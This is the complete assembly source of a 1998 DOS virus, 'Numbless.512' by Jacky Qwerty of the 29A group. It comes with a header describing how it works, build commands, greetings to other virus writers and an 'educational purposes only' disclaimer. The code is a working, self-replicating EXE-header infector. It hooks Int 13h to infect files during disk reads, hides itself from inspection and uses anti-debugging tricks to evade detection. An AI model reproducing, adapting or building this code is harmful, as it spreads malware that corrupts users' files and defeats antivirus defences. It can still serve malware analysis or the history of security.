                                                                   comment ^
DOS.ExeHeader.Numbless.512
(c) 1998 by Jacky Qwerty/29A.

Description

Ok, I had never written an ExeHeader virus, so I wrote this. It's a simple
DOS EXE infector which spreads by inserting itself through the blank spaces
of the exe header left by several compilers and assemblers. It basically
converts an EXE file into a COM image, hooks Int 13h and monitors disk
reads/writes at the sector level. When "something" looks like an MZ header
the virus looks for enough blanks in such header and copies itself to there.

The virus is "full stealth" and doesn't infect EXE files larger than 64 Kb
for obvious reasons. It neither infects windows or device driver EXE files
in favor of stability. Needless to say, this virus has no chances to spread
wildly, since 1) It's a DOS virus and remember DOS is dying, if not dead
already heh, and 2) Have you ever seen plenty of such EXE files < 64 Kb ?
This virus, like any other virus that hooks Int 13h for "file" stealthing,
may have problems with cache drivers such as Smartdrive, Norton cache, etc.
if the "stealth" routine is not handled/programmed properly. Virus size was
first option so... The virus also employs a nifty antitracing/antidebugging
routine to avoid heuristic detection in memory.

To build

  ml /c numb.asm  (tasm is also ok)
  link numb, numb.com

Greets go to

All VXers..... all of you who write creative viruses with/or fancy payloads.
Virusbuster... you should charge as a sentimental adviser man! #;).
Lord Julus.... a class apart VXer, keep up the good work dude!

Disclaimer

This source code is provided for educational purposes only. The author is
NOT responsible in any way for problems it may cause due to improper use!

(c) 1998. Jacky Qwerty/29A.
                                                                           ^

.model tiny
.186

PSP_b   = 100h
v_b     = v_end-v_start
v_w     = (v_b+1)/2
v_p     = (v_b+15)/16
stack_b = 100h
mem_b   = (PSP_b+v_b+stack_b) and -2
mem_p   = (mem_b+15)/16
jump    = 0b3h
mark    = (jump shl 8)+0e9h

.code
                org 0h
start:
                jmp v_start
                org jump+3
v_start:        mov bp,8
                mov di,100h
                mov si,ds
                lea dx,[si+10h]
                add [bp-8+di-100h+10eh],dx
                mov bx,[bp-8+di-100h+118h]
                mov cx,[di-100h+106h]
                add [di-100h+116h],dx
                lea si,[bx+di]
                cld
                jcxz no_relocs
    fix_relocs: lodsw
                xchg ax,bx
                lodsw
                add ax,dx
                add ax,[di-100h+bp-8+108h]
                mov es,ax
                add es:[bx],dx
                loop fix_relocs
     no_relocs: mov ax,[bp-8+2]
                and si,cx
                mov cl,(200h-4)/2
                lea bx,[bp-8+di-100h+high_mem-start]
                add ax,-20h
                xchg si,di
                push ax
                add dx,[si-100h+bp-8+108h]
                mov es,ax
                push bx
                push si
                rep movsw
                push ds
                xor si,si
                dec cx
                xchg ax,cx
                int 13h
                cld
                xchg ax,cx
                jcxz i_was_here
                push es
                mov ds,si
                lea ax,[bp-8+si-0+47h]
                push ax
                xchg ax,[si-0+4ch]
                stosw
                pop ax
                mov bx,ss
                dec bx
                push ax
                xchg ax,[si-0+4eh]
                stosw
                pop di
                mov ds,bx
                add word ptr [di-47h+3],-20h
                pop ds
                mov [bp-8+si-0+2],es
                mov si,offset low_code
                push di
                lea cx,[bp-8+di-47h+low_code_size/2]
                mov [si+vir_seg-low_code],es
                pop es
                rep movsw
    i_was_here: pop es
                pop di
                retf
      old_byte:
                db ?

      low_code: push ax
                pushf
                pop ax
                and ah,0feh
                push ax
                popf
                pop ax
                db 0eah
                dw offset new_int13
        vir_seg dw ?
  low_code_size = $-low_code

      high_mem: push cx
                mov ds,dx
                mov ax,[bp-8+di-100h+104h]
                pop si
                mul di
                xchg ax,cx
                push es
                rep movsw
                pop ds
                mov ah,0dh
                int 21h
                cli
                mov ss,cs:[bp-8+0eh]
                mov sp,cs:[bp-8+10h]
                sti
                jmp dword ptr cs:[bp-8+14h]
          flop:
                lea di,[bx+si]
                mov cl,v_w
                sub word ptr [bx],'ZM'- mark    
                ;rep movs word ptr es:[di], word ptr cs:[si]
                db 2eh
                rep movsw
                xchg cl,[bx+2]
                mov [di+old_byte-v_end],cl
                pop cx
                push cx
                sub ax,-301h
                pushf
                push cs
                call other              
                jmp short check
new_int13:
                cli
                push ax
                push -1
                inc sp
                dec sp
                pop ax
                inc ax
                pop ax
                sti
                jnz retf_2
                inc ax
                jz retf_2
                dec ax
                test ah,0fch
                jnz other
                test ah,0b6h
                jz other
                pushf
                push cs
                mov cs:[sectors],al
                call other
                jc retf_2
                push ds
                pusha
                push cx
         check: mov ax,-'ZM'
                push es
                pop ds
                add ax,[bx]
                jz mark_or_mz
                sub ax,mark -'ZM'
                jnz end_rd_wr_ok
                inc ax
    mark_or_mz: cmp byte ptr [bx+18h],40h
                jnc end_rd_wr
                mov si,v_start-start
                cld
                dec ax
                mov cx,v_w
                lea di,[bx+si]
                jz chk_mark
     infect_mz: cmp ax,[di+start-v_start+200h]
                jz end_rd_wr_ok
                cmp word ptr [bx+4],7fh
                ja end_rd_wr_ok
                inc ax
                repz scasw
                jnz end_rd_wr_ok
                test dl,dl
                jns flop
                mov cl,0
        sectors = byte ptr $-1
                loop flop
      chk_mark: cmp word ptr [di],1234h
                org $-2
                mov bp,8
                org $-1
                jnz end_rd_wr_ok
                mov si,[di+old_byte-v_start-1]
                rep stosw
                mov [bx+1],si
                xor word ptr [bx],'ZM' xor ((mark and 00ffh) or 0cb00h)
  end_rd_wr_ok: clc
     end_rd_wr: pop cx
                popa
                pop ds
        retf_2: retf 2
         other:
                db 0eah
v_end:
                dd ?

                end start
